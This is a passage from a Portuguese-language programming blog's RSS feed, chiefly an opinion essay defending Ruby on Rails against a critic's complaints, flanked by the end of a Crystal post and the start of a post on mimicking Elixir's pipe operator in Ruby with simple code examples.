<p>Então, Rust, Go, Javascript, todas muito rápidas, mas com sintaxes bem questionáveis e nem tão agradáveis. Elas são bem mais maduras, e seus ecossistemas são muito maiores. Mas, a menos que eu realmente precise, prefiro escolher Crystal para os casos de uso que descrevi acima, e acho que você também vai encontrar bons usos para ele.</p>
<p>Update: depois que postei, o criador do Crystal, @Asterite, teve algumas coisas a acrescentar também:</p>
<blockquote class="twitter-tweet" data-partner="tweetdeck"><p lang="en" dir="ltr"><a href="https://twitter.com/AkitaOnRails">@AkitaOnRails</a> <a href="https://twitter.com/waj">@waj</a> so it&#39;s likely that we&#39;ll have something similar. We aren&#39;t there yet because we are not Google, Mozilla nor Apple</p>&mdash; Ary Borenszweig (@asterite) <a href="https://twitter.com/asterite/status/737778080085868545">May 31, 2016</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
]]></content:encoded><category>crystal</category><category>ruby</category><category>linguagens-de-programacao</category></item><item><title>Rails Venceu: O Elefante na Sala</title><link>https://akitaonrails.github.io/2016/05/23/rails-venceu-o-elefante-na-sala/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/05/23/rails-venceu-o-elefante-na-sala/</guid><pubDate>Mon, 23 May 2016 17:21:00 -0300</pubDate><description>&lt;p&gt;Acabei de ler um &lt;a href="http://web.archive.org/web/20160523160801/http://solnic.eu/2016/05/22/my-time-with-rails-is-up.html"target="_blank" rel="noopener"&gt;artigo muito bem escrito e importante&lt;/a&gt; do contribuidor OSS Solnic e tenho que concordar com ele em quase todos os pontos técnicos.&lt;/p&gt;
&lt;p&gt;Antes de mais nada, é inevitável, mas ainda odeio títulos dramáticos, mesmo que eu mesmo escreva assim às vezes. &amp;ldquo;Meu tempo com Rails acabou&amp;rdquo; é como dizer &amp;ldquo;E você também deveria largar Rails se for inteligente&amp;rdquo;. Descartei o artigo por completo por causa disso. Estava prestes a escrever uma contra-rant sem ler direito, mas agora que li, escrevi este artigo novo do zero.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Acabei de ler um <a href="http://web.archive.org/web/20160523160801/http://solnic.eu/2016/05/22/my-time-with-rails-is-up.html"target="_blank" rel="noopener">artigo muito bem escrito e importante</a> do contribuidor OSS Solnic e tenho que concordar com ele em quase todos os pontos técnicos.</p>
<p>Antes de mais nada, é inevitável, mas ainda odeio títulos dramáticos, mesmo que eu mesmo escreva assim às vezes. &ldquo;Meu tempo com Rails acabou&rdquo; é como dizer &ldquo;E você também deveria largar Rails se for inteligente&rdquo;. Descartei o artigo por completo por causa disso. Estava prestes a escrever uma contra-rant sem ler direito, mas agora que li, escrevi este artigo novo do zero.</p>
<p>Solnic está certo: Ruby, por si só, tem pouco ou nenhum futuro sozinho. Rails é um monopólio real nesta comunidade e a maioria dos projetos OSS mira no Rails. E sim, Rails encoraja algumas práticas ruins e anti-padrões. Isso pode ser muito desanimador para muitos contribuidores OSS, especialmente porque mudar a direção de um Elefante enorme exige um esforço descomunal.</p>
<p>Deixando claro: os argumentos técnicos dialéticos que ele apresenta são todos verdadeiros. Mas metade do artigo, como ele mesmo disse, é pura rant, retórica. E acho que seria bom equilibrar isso, que é o que vou tentar fazer neste post.</p>
<h3>Aceitando a Realidade<span class="hx:absolute hx:-mt-20" id="aceitando-a-realidade"></span>
    <a href="#aceitando-a-realidade" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A realidade é esta: Rails foi feito sob medida para o Basecamp.</p>
<p>Todos sabemos disso, ou deveríamos. Apps no estilo Basecamp não são muito difíceis de fazer, pelo menos em termos de arquitetura. Não precisa de linguagens sofisticadas super performáticas com primitivas de concorrência e paralelismo. E a realidade é que 80% das aplicações web são estilo Basecamp (com base na minha experiência em consultoria). É por isso que Rails resistiu até agora.</p>
<p>É como sistemas de gerenciamento de conteúdo, ou CMS. A maioria deles são sistemas de blog. E para isso você pode ir em frente e instalar o Wordpress. Os mesmos argumentos feitos contra o Rails podem ser feitos contra o Wordpress. E você nunca deveria tunar o Wordpress para ser qualquer coisa além de um sistema de blog. Tente transformá-lo num e-commerce de alto tráfego e vai sofrer.</p>
<p>Para deixar claro: Wordpress tem um dos códigos-fonte mais ofensivos que já vi. Odiaria ter que manter aquela base de código. Me desculpo se algum contribuidor do Wordpress estiver lendo isso, digo sem malícia. E sabe o quê? Possivelmente metade de todos os CMSs do mundo é Wordpress. Mais de um milhão de sites.</p>
<p>Depois tem o caso do Magento2. Grande reescrita sobre o Magento original, escrito usando toda aquela parafernália do Zend que todo mundo detesta. Mas é enorme. Se você precisa de uma solução rápida e pronta para e-commerce, não precisa procurar mais.</p>
<p>Plugins do Wordpress funcionam no Magento? Não. São 2 comunidades fragmentadas, independentes e isoladas. Mas ambas geram muito dinheiro, o que cobre o custo da redundância entre elas. E isso sem contar Drupal, Joomla. PHP é um grande oceano de ilhas desconectadas.</p>
<p>A fragmentação não é estranha ao mundo Javascript. Mas é um tipo diferente de geração de valor. Facebook, Google, Microsoft, todos querem ser os líderes de pensamento na geração Millennial em rápida evolução. É uma estratégia de longo prazo. E um dos elementos desse jogo é o Browser. Não só em termos de Chrome vs Firefox vs IE, mas também em como as aplicações são implementadas.</p>
<p>Facebook criou o React. Google criou o Polymer e o Angular. O pessoal do Node passou por uma luta de poder com a Joyent que quase resultou em mais fragmentação, mas chegaram a um acordo com a <a href="http://readwrite.com/2015/02/10/joyent-node-js-foundation/"target="_blank" rel="noopener">Node Foundation</a>.</p>
<p>A Apple foi à guerra total contra o Flash da Adobe e só agora o Google está <a href="http://web.archive.org/web/20160520233349/http://www.theinquirer.net/inquirer/news/2458329/googles-chrome-browser-will-switch-off-flash-content-by-default"target="_blank" rel="noopener">desligando-os no Chrome</a>. A Apple quer que o nativo prospere e que o Swift seja a linguagem que lidere tudo. O Google tem estratégias conflitantes porque quer que os <a href="http://techcrunch.com/2016/05/18/google-takes-a-new-approach-to-native-apps-with-instant-apps-for-android/"target="_blank" rel="noopener">Instant Apps</a> nativos triunfem, mas se falharem, o plano B continua sendo dominar os apps web baseados em HTML5/CSS3 com Angular. O Facebook não quer ter seu destino decidido pela luta de poder entre Apple e Google.</p>
<p>É uma luta de poder complexa se desenrolando, e o motivo está longe de competência técnica ou geração de valor. É sobre ego, influência e poder. E as tecnologias web estão sendo mantidas como <em>reféns</em> neste cerco.</p>
<p>Depois tem a questão de que o futuro do Ruby está agora fortemente acoplado ao Rails. Isso é uma realidade e se você é um Rubyista que não gosta de Rails, sinto muito. Mas não tanto. Por exemplo, se Hanami é interessante, acredito que pelo menos uma empresa investiu nele. Se ninguém está usando, então não importa o quão tecnicamente superior ele seja. Se Rom.rb é ótimo, alguém deveria estar usando; caso contrário, qual é o ponto? Por que criar uma maravilha técnica que ninguém quer? Mas se há pelo menos uma empresa usando, é <strong>razão suficiente</strong> para continuar, independentemente do que aconteça com Rails ou do que DHH diga ou faça.</p>
<blockquote>
  <p>As pessoas pensam que porque algo é &ldquo;tecnicamente superior&rdquo; todos os outros deveriam adotar cegamente. Mas não é assim que o mercado funciona.</p>

</blockquote>
<p>De todos os eventos de tamanho cósmico que acontecem por aí, realmente não me preocupo tanto se Ruby continua amarrado ao Rails. O que ele faria sem ele?</p>
<p>Todas as comunidades enfrentam fragmentação em algum momento. É muito difícil e caro manter coesão por muito tempo. A única comunidade que acho que conseguiu isso por pura força de regulação é a stack .NET da Microsoft. O próprio Rails desempenhou um papel importante em influenciar a mudança do antigo ASP.NET para o ASP.NET MVC. Agora eles finalmente <a href="http://blogs.microsoft.com/blog/2016/02/24/microsoft-to-acquire-xamarin-and-empower-more-developers-to-build-apps-on-any-device/"target="_blank" rel="noopener">adquiriram o Xamarin</a> antes que o .NET pudesse escapar do controle deles em plataformas open source.</p>
<p>Ruby on Rails é a única outra comunidade &ldquo;coesa&rdquo; que já vi. Com a vantagem de que o Basecamp não precisa de centenas de milhares de desenvolvedores para existir. Um nicho de mercado seria suficiente para o framework evoluir gradualmente através de processos OSS. Por isso sempre questiono a história e as origens de ferramentas e tecnologias para tomar minhas decisões sobre onde usá-las, não só a competência técnica.</p>
<p>Rails funciona porque não precisa fazer política com Apple, Facebook, Microsoft, Google ou qualquer outro comitê (por padrão, nunca confio em comitês). Quem depende do Rails fará a manutenção diretamente. Heroku, Github, New Relic, Shopify e muitos desenvolvedores talentosos.</p>
<h3>3 Leis da Realidade de Mercado<span class="hx:absolute hx:-mt-20" id="3-leis-da-realidade-de-mercado"></span>
    <a href="#3-leis-da-realidade-de-mercado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ol>
<li>
<p>É fácil analisar demais algo após o fato. 10 anos depois, consigo traçar facilmente um caminho ótimo, evitando todas as armadilhas. Não me torna gênio nenhum, apenas mostra que consigo conectar os pontos, agora claramente visíveis.</p>
</li>
<li>
<p>Nenhuma implementação de solução é perfeita. Se ela resolve um problema real, está fadada a ser imperfeita. Se resolve num mercado em rápida mudança, mais imperfeita ainda.</p>
</li>
<li>
<p>Ou você constrói ferramentas porque suas aplicações de negócio dependem disso, ou constrói ferramentas para vender. As primeiras geralmente serão melhores em termos de ajuste ao mercado. Então se tiver que escolher às cegas, vá com as primeiras.</p>
</li>
</ol>
<p>Portanto, sempre preferirei ferramentas que resolvem um problema real feitas por quem realmente depende delas. Caso contrário, o filho do sapateiro ficará descalço. Por exemplo: vou usar Angular se precisar. Mas nunca começaria um novo negócio que dependesse exclusivamente do Angular para sobreviver. Por quê? Porque o Google não precisa dele. Não piscou para abrir mão do GWT, não precisou pensar duas vezes para reescrever o Angular 2 de forma incompatível com o Angular 1.</p>
<p>Sempre vejo quais fatores externos vão influenciar o destino da tecnologia. Imagine que passei muito tempo escrevendo scripts para o Grunt. As pessoas decidem que é ruim. Agora o Gulp é a melhor escolha. Você investe tudo migrando para Gulp. Então as pessoas decidem que Webpack é a melhor escolha. Síndrome NIH (Not-invented-here) em abundância.</p>
<p>Às vezes isso faz o monopólio do ASP.NET no campo Microsoft e o monopólio do Rails no campo Ruby parecerem inócuos. E sim, comparei Rails com .NET. São as 2 stacks mais comparáveis. Comparável à facção Spring no campo Java. O Spring se levantou contra a complexidade enorme do J2EE oficial em 2002 e então ele mesmo se tornou o novo gigante estilo J2EE a ser combatido.</p>
<p>Este é um dilema milenar:</p>
<blockquote>
  <p>&ldquo;Ou você morre como herói, ou vive tempo suficiente para se ver se tornar o vilão.&rdquo;</p>

</blockquote>
<h3>Por que Rails é um problema agora?<span class="hx:absolute hx:-mt-20" id="por-que-rails-é-um-problema-agora"></span>
    <a href="#por-que-rails-%c3%a9-um-problema-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Como disse antes, concordo com quase todo problema técnico que Solnic apontou.</p>
<p>Rails é de fato a criação de David Hansson (DHH). DHH é uma pessoa, com um ego muito grande e um negócio para administrar. Não dá para esperar que qualquer pessoa seja razoável o tempo todo, especialmente uma que empurrou algo do zero, tanto um negócio quanto uma plataforma tecnológica.</p>
<p>Quando começou, as pessoas desertaram de Java, .NET, PHP e até Python em massa. Todos reconheceram como Rails era interessante comparado a J2EE, ASP.NET, Plone. Oferecia não só produtividade, mas prazer técnico. Estávamos discutindo o maravilhoso mundo das linguagens dinâmicas, classes abertas, injetando comportamento em tempo real (aka <a href="https://m.signalvnoise.com/provide-sharp-knives-cc0a22bf7934"target="_blank" rel="noopener">monkey patching</a>), aplaudindo o abandono de todas as abstrações desnecessárias.</p>
<p>A Idade de Ouro de 2004 a 2006 viu um fluxo interminável de celebração da magia Ruby. Aprendemos Ruby através da magia negra mais obscura do <a href="http://poignant.guide/"target="_blank" rel="noopener">Why, the Lucky Stiff</a>. Era tudo menos arquiteturas limpas e modulares.</p>
<p>Então entramos na Idade de Prata, de 2007 até por volta de 2011. Rails foi longe demais, rápido demais. De repente vimos grandes empresas surgindo de todos os lados! Twitter, Github, Engine Yard, Heroku, Zendesk, Airbnb, todo mundo bebeu o Kool-Aid do Rails. O Merb estava à frente do seu tempo e foi apresentado da maneira errada. Confrontar o todo-poderoso Rails de frente naquele momento não foi inteligente. Fiquei muito apreensivo em 2009 e 2010 para ver se a pseudo-reescrita do Rails 3 realmente se concretizaria.</p>
<p>2011 a 2016 foi a Idade do Bronze, um período agridoce. Muitas linguagens novas surgiram e atingiram o estado &ldquo;utilizável&rdquo;: V8 e Node.js, Rust, Clojure, Elixir, Scala, Haskell. A mudança mais importante: 2010 viu o advento das App Stores, com aplicativos nativos para smartphones e tablets. Esqueça desenvolvimento web, o mobile estava ganhando tudo.</p>
<p>Foi aí que as grandes empresas mostraram seus bolsos fundos. Apple lançou Swift. Google lançou Dart, Angular, Go. Microsoft lançou TypeScript e ASP.NET MVC. Facebook entrou tarde com React e depois React Native.</p>
<p>Rails agora pode ser considerado um &ldquo;problema&rdquo; pelas mesmas razões que o tornaram popular. Isso está fadado a acontecer com qualquer tecnologia.</p>
<p>Mas não dá para mudar muito a arquitetura do Rails, sob risco de quebrar partes enormes dos projetos em produção. E quando alguém precisa reescrever partes grandes de um projeto, é melhor considerar reescrever em outra coisa completamente.</p>
<p>Muitas pessoas estão fazendo exatamente isso, especialmente para APIs e SPAs. As APIs podem ser escritas em Go, Elixir, Scala, evitando Ruby. Você perde o giro rápido do ecossistema Rails, mas se puder pagar (Unicórnio com bolsos fundos), por que não?</p>
<p>Mas para os 90% dos projetos pequenos e médios por aí, ainda dá para conseguir o melhor custo-benefício com Rails. É como dizer: para um blog, use Wordpress. Não tente escrever um blog SPA com APIs em Go e React do zero. Factível, mas não vale a pena.</p>
<p>Se você já usa Rails há algum tempo, siga boas práticas básicas. Adicione testes. Refatore o código, remova duplicações, atualize gems. Considere adicionar uma camada de abstração como o <a href="http://trailblazer.to/"target="_blank" rel="noopener">Trailblazer</a> e componentizar partes da aplicação como <a href="https://leanpub.com/cbra"target="_blank" rel="noopener">Rails Engines</a> ou separar em APIs <a href="https://github.com/rails-api/rails-api"target="_blank" rel="noopener">Rails-API</a>. Um passo de cada vez.</p>
<blockquote>
  <p>Raramente se beneficia de grandes rewrites do zero.</p>

</blockquote>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Para desenvolvedores como Solnic a comunidade Rails provavelmente é um lugar frustrante. Mas também é um vício difícil de largar porque Rails é muito maior do que qualquer concorrente, você sempre se sente mal por ser o azarão.</p>
<p>Rails foi de azarão ao mainstream em 5 anos. Possivelmente o crescimento mais rápido que qualquer framework web já alcançou. A vida de um desenvolvedor web de 1995 a 2003 não era particularmente interessante. Rails fez muito para melhorá-la.</p>
<p>A arquitetura do Active Record vai machucar de verdade talvez 10% dos casos. O Active Support não tem alternativa melhor ainda. Substituir o Active Record por DataMapper ou Rom.rb como padrão não vai trazer tanto valor para as centenas de aplicações existentes. Se eu tivesse que reescrever, faria uma nova aplicação usando Rails + Trailblazer ou iria direto para Hanami. Mas a maioria das pessoas decidiria a favor de abandonar Ruby completamente.</p>
<p>O Active Record poderia ser melhor? Claro! Temos Data Mapper, Sequel e ROM.rb para provar. Mas poderia ter sido feito melhor em 2004? Não acho. Em 2004 &ldquo;NoSQL&rdquo; nem era uma coisa. O melhor que tínhamos era o Hibernate, muito antes do JPA. E para todos os efeitos práticos, o Active Record ainda faz muito melhor do que a média. Mas se você é grande, deve ter cuidado.</p>
<p>As outras comunidades vão enfrentar os mesmos problemas. É inevitável. Tudo é muito mais fácil quando você tem uma comunidade pequena que pode quebrar coisas sem grande impacto. É muito mais difícil manter algo que ficou grande além de todos os cenários otimistas.</p>
<p>Entendo a abordagem conservadora do DHH ao não fazer grandes perturbações. É um movimento válido. Vai alienar desenvolvedores avançados como Solnic, mas ainda vai permitir que iniciantes mergulhem nele sem se preocupar com abstrações demais.</p>
<p>Atualização: DHH comentou nesta seção depois:</p>
<blockquote class="twitter-tweet" data-partner="tweetdeck"><p lang="en" dir="ltr"><a href="https://twitter.com/AkitaOnRails">@akitaonrails</a> It's not out of conservatism. But a difference of opinion and values. I love Active Record. Love callbacks.</p>&mdash; DHH (@dhh) <a href="https://twitter.com/dhh/status/735051111141396480">May 24, 2016</a></blockquote>
<blockquote class="twitter-tweet" data-partner="tweetdeck"><p lang="en" dir="ltr"><a href="https://twitter.com/AkitaOnRails">@akitaonrails</a> Will everyone love the same techniques and methods as me? Of course not (see RSpec for just one popular example!). That's fine</p>&mdash; DHH (@dhh) <a href="https://twitter.com/dhh/status/735051237071171584">May 24, 2016</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>As pessoas esquecem que abstrações são muito boas para desenvolvedores avançados que sofreram com a falta delas. Mas iniciantes sempre vão sofrer se apresentados com muitas escolhas arquiteturais logo de cara. Pessoas experientes frequentemente esquecem a curva de aprendizado de quando eram iniciantes, e naquela época Rails era tão atraente. Lembra aquela sensação de realização?</p>
<p><strong>Rails venceu</strong> pela sua simplicidade para iniciantes, orientação clara para pessoas experientes e flexibilidade razoável para desenvolvedores mais avançados. Conseguirá manter mais 10 anos? O tempo dirá.</p>
<p>Para terminar, com Bob Dylan:</p>
<blockquote>
  <p>Reúnam-se ao redor, pessoas</p>

</blockquote>
<blockquote>
  <p>Onde quer que vagueiem</p>

</blockquote>
<blockquote>
  <p>E admitam que as águas</p>

</blockquote>
<blockquote>
  <p>Ao redor de vocês cresceram</p>

</blockquote>
<blockquote>
  <p>E aceitem que em breve</p>

</blockquote>
<blockquote>
  <p>Vocês estarão encharcados até os ossos.</p>

</blockquote>
<blockquote>
  <p>Se o seu tempo para você</p>

</blockquote>
<blockquote>
  <p>Vale ser salvo</p>

</blockquote>
<blockquote>
  <p>É melhor começar a nadar</p>

</blockquote>
<blockquote>
  <p>Ou vai afundar como uma pedra</p>

</blockquote>
<blockquote>
  <p>Pois os tempos estão mudando.</p>

</blockquote>
<blockquote>
  <p>&hellip;</p>

</blockquote>
]]></content:encoded><category>rails</category><category>ruby</category><category>off-topic</category></item><item><title>Operador Pipe do Elixir para Ruby: Chainable Methods</title><link>https://akitaonrails.github.io/2016/02/18/operador-pipe-do-elixir-para-ruby-chainable-methods/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/02/18/operador-pipe-do-elixir-para-ruby-chainable-methods/</guid><pubDate>Thu, 18 Feb 2016 16:28:00 -0200</pubDate><description>&lt;p&gt;Rolaram &lt;a href="http://blog.molawson.com/elixir-pipes-in-ruby/"target="_blank" rel="noopener"&gt;discussões&lt;/a&gt; &lt;a href="https://gist.github.com/pcreux/2f87847e5e4aad37db02"target="_blank" rel="noopener"&gt;recentes&lt;/a&gt; sobre como seria legal ter algo parecido com o incrível Pipe Operator do Elixir no Ruby.&lt;/p&gt;
&lt;p&gt;Se você não sabe o que é o &amp;ldquo;Pipe Operator&amp;rdquo; no Elixir, olha esse código aqui:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="no"&gt;Enum&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;Enum&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;Enum&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;100_000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="n"&gt;odd?&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;É feio, todo mundo sabe. Numa linguagem orientada a objetos como Ruby, a gente faria algo assim:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Rolaram <a href="http://blog.molawson.com/elixir-pipes-in-ruby/"target="_blank" rel="noopener">discussões</a> <a href="https://gist.github.com/pcreux/2f87847e5e4aad37db02"target="_blank" rel="noopener">recentes</a> sobre como seria legal ter algo parecido com o incrível Pipe Operator do Elixir no Ruby.</p>
<p>Se você não sabe o que é o &ldquo;Pipe Operator&rdquo; no Elixir, olha esse código aqui:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Enum</span><span class="o">.</span><span class="n">sum</span><span class="p">(</span><span class="no">Enum</span><span class="o">.</span><span class="n">filter</span><span class="p">(</span><span class="no">Enum</span><span class="o">.</span><span class="n">map</span><span class="p">(</span><span class="mi">1</span><span class="o">..</span><span class="mi">100_000</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">(</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">*</span> <span class="mi">3</span><span class="p">)),</span> <span class="n">odd?</span><span class="p">))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É feio, todo mundo sabe. Numa linguagem orientada a objetos como Ruby, a gente faria algo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="p">(</span><span class="mi">1</span><span class="o">..</span><span class="mi">100_000</span><span class="p">)</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">  <span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span> <span class="n">i</span> <span class="o">*</span> <span class="mi">3</span> <span class="p">}</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">  <span class="nb">select</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:odd?</span><span class="p">)</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">  <span class="n">reduce</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:+</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que Elixir não tem objetos, só funções. Então como escrever código de forma mais elegante? A solução apareceu na forma do tal &ldquo;Pipe Operator&rdquo;, que pega o último valor retornado e passa ele como primeiro argumento da próxima chamada de função, assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="mi">1</span><span class="o">..</span><span class="mi">100_000</span>
</span></span><span class="line"><span class="cl">  <span class="o">|&gt;</span> <span class="no">Stream</span><span class="o">.</span><span class="n">map</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">*</span> <span class="mi">3</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="o">|&gt;</span> <span class="no">Stream</span><span class="o">.</span><span class="n">filter</span><span class="p">(</span><span class="n">odd?</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">|&gt;</span> <span class="no">Enum</span><span class="o">.</span><span class="n">sum</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Então Ruby e Elixir &ldquo;parecem&rdquo; a mesma coisa quando conseguimos &ldquo;encadear&rdquo; métodos. No mundo Ruby a gente não tem a &ldquo;necessidade&rdquo; de um operador desses. Mas seria bacana ter um mecanismo para deixar nosso código mais expressivo, mais testável, mais legível. Por exemplo, imagina escrever algo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="p">(</span><span class="mi">1</span><span class="o">..</span><span class="mi">100_000</span><span class="p">)</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">  <span class="n">multiple_each_element_by_three</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">  <span class="n">filter_out_odd_elements</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">  <span class="n">give_the_sum_of_all_elements</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Claro, esse é um exemplo bem limitado com nomes de métodos péssimos. Mas se você pegar o artigo do Mo Lawson que linkei acima, fica bem mais interessante:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">keywords</span>
